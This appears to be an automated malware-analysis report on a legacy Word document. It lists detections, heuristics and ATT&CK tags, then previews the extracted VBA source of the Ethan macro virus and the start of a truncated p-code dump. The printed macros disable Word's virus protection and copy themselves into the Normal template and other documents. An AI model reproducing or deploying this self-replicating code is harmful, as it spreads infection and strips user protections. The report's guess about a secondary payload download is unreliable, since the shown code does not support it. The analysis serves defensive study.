MALICIOUS
308
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a legacy Word document containing VBA macros, including AutoOpen and Document_Open, which are commonly used to execute malicious code upon opening. The script attempts to disable macro security warnings and writes to a temporary file 'c:\evolve.tmp', suggesting it is preparing to download and execute a secondary payload. The presence of legacy WordBasic markers and the ClamAV detections (Win.Trojan.Pivis-2, Doc.Trojan.Ethan-3) further indicate malicious intent.
Heuristics 7
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 11447 bytes |
SHA-256: f2c1e1011da659c216dca0f21c4d9c4d5a1cd6860e7033505d54d3b3a4e9b872 |
|||
|
Detection
ClamAV:
Doc.Trojan.Ethan-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
With Options:
.ConfirmConversions = False:
.VirusProtection = False:
.SaveNormalPrompt = False:
.SavePropertiesPrompt = False:
End With
s = ActiveDocument.Saved
sName = "c:\evolve.tmp"
sFunc = "Private Sub Document_Open()"
Found = False
If Dir(sName) <> "" Then Kill sName
Open sName For Output As #1
For i = 0 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
If Found = False And (a = sFunc) Then Found = True
.replaceline 1, "Sub AutoOpen()"
If a = "End Sub" And Found = True Then Found = False
Next i
.replaceline 28, "Sub ToolsMacro()"
j = 1
k = 1
t = 0
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
Set nml = NormalTemplate.VBProject.VBComponents.Item(1)
Sub ToolsMacro()
End If
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
Set atv = ActiveDocument.VBProject.VBComponents.Item(1)
t = t + 2
End If
If t > 0 Then
Open sName For Input As #1
If LOF(1) = 0 Then GoTo quit
i = 1
Do While Not EOF(1)
Line Input #1, a
If t = 1 Or t = 3 Then
nml.CodeModule.InsertLines j, a
j = j + 1
End If
If t = 2 Or t = 3 Then
atv.CodeModule.InsertLines k, a
k = k + 1
End If
Loop
quit:
Close #1
End If
With Dialogs(wdDialogFileSumaryInfo):
.Title = "Ethan Frome":
.Author = "EW/LN/CB":
.Keywrds = "Ethan":
.Execute:
End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
Kill sName
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error GoTo ou: Options.VirusProtection = False: Options.SaveNormalPrompt = False: Options.ConfirmConversions = False
Set NTVBC = NormalTemplate.VBProject.VBComponents.Item(1): Set ADVBC = ActiveDocument.VBProject.VBComponents.Item(1)
ad = ADVBC.CodeModule.CountOfLines: nt = NTVBC.CodeModule.CountOfLines: EXPFN = Environ("temp") & "\~CL7610_2.~MP"
If nt > 28 And ad > 28 Then GoTo ou
If nt < 29 Then
Set dhst = NTVBC
Set shst = ADVBC
Else
Set dhst = ADVBC
Set shst = NTVBC
End If
shst.Name = dhst.Name
shst.Export (EXPFN)
With dhst.CodeModule
.AddFromFile (EXPFN)
.deletelines 1, 4
temp$ = .Lines(1, 1)
.replaceline 1, "Sub AutoOpen()"
.replaceline 19, ".replaceline 1," & Chr$(34) & temp$ & Chr$(34)
temp$ = .Lines(28, 1)
.replaceline 28, "Sub ToolsMacro()"
.replaceline 22, ".replaceline 28," & Chr$(34) & temp$ & Chr$(34)
End With
Kill (EXPFN)
ou:
End Sub
Sub ViewVBCode()
End Sub
' Processing file: /opt/analyzer/scan_staging/454a8fd64ae04d39993f3d6477e932db.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5607 bytes
' Line #0:
' FuncDefn (Sub AutoOpen())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #3:
' StartWithExpr
' Ld Options
' With
' BoS 0x0000
' Line #4:
' LitVarSpecial (False)
' MemStWith ConfirmConversions
' BoS 0x0000
' Line #5:
' LitVarSpecial (False)
' MemStWith VirusProtection
' BoS 0x0000
' Line #6:
' LitVarSpecial (False)
' MemStWith SaveNormalPrompt
' BoS 0x0000
' Line #7:
' LitVarSpecial (False)
' MemStWith SavePropertiesPrompt
' BoS 0x0000
' Line #8:
' EndWith
' Line #9:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #10:
' LitStr 0x000D "c:\evolve.tmp"
' St sName
' Line #11:
' LitStr 0x001B "Priv
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.